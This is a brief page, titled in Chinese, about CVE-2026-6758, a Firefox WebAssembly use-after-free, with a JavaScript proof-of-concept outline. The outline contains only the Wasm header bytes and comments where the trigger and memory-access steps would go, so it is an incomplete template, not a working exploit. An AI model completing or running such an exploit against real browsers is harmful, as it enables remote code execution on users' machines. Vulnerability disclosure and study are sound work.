CVE-2026-6758 Firefox WebAssembly释放后重用漏洞

// PoC for CVE-2026-6758 // This script demonstrates the trigger logic for the WebAssembly UAF. // It requires a vulnerable version of Firefox < 150. function triggerCVE20266758() { try { // 1. Craft malicious WebAssembly bytecode // The actual bytes would be specific to the vulnerability trigger const wasmBytes = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // Magic number and version // ... specific payload to cause object ... ]); // 2. Compile the module const module = new WebAssembly.Module(wasmBytes); const instance = new WebAssembly.Instance(module); // 3. Trigger the Use-After-Free condition // Manipulate the instance to force a free while keeping a reference // (Exact implementation depends on internal bug details) // 4. Access the freed memory // This step causes the crash or code execution } catch (e) { console.error("Exception caught: " + e.message); } } triggerCVE20266758();